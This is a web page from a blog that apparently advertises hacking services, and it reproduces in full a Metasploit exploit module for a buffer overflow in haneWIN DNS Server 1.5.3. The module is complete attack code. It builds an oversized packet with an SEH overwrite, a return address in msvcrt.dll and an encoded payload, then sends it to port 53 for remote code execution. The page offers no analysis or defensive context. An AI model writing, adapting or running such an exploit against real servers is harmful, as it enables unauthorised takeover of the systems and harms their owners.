Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86386769

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'		=> 'haneWIN DNS Server Buffer Overflow',
			'Description'	=> %q{
				This module exploits a buffer overflow vulnerability found in
				haneWIN DNS Server <= 1.5.3. The vulnerability is triggered
				by sending an overly long packet to the victim server. A memcpy
				function blindly copies user supplied data to a fixed size buffer
				leading to remote code execution. 

				This module was tested against haneWIN DNS 1.5.3
			},
			'Author' => [ 'james fitts' ],
			'License' => MSF_LICENSE,
			'References' =>
				[
					[ 'EDB', '31260' ],
					[ 'OSVDB', '102773' ]
				],
			'Privileged'  => false,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload' =>
				{
					'Space'	=> 1000,
					'DisableNops' => true,
					'BadChars' => "\x00\x0a\x0d\x20",
					'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
				},
			'Platform' => 'win',
			'DefaultTarget'	=> 0,
			'Targets' =>
				[
					[
						'Windows 2000 SP4 EN / haneWIN DNS 1.5.3',
						{
							# msvcrt.dll v6.10.9844.0
							# pop esi/ pop edi/ retn
							'Ret' => 0x78010394,
						}
					]
				],
			'DisclosureDate' => 'Jul 27 2013'))

			register_options([Opt::RPORT(53)], self.class)
	end

	def exploit
		connect

		p = make_nops(32) + payload.encoded

		buf = Rex::Text.pattern_create(5000)
		buf[0, 2] = [0x4e20].pack('n')							# length for malloc
		buf[1332, p.length] = p
		buf[2324, 8] = generate_seh_record(target.ret)
		buf[2332, 15] = make_nops(10) + "\xe9\x13\xfc\xff\xff"	# jmp $-1000 

		print_status("Sending malicious request...")
		sock.put(buf)
		disconnect

	end
end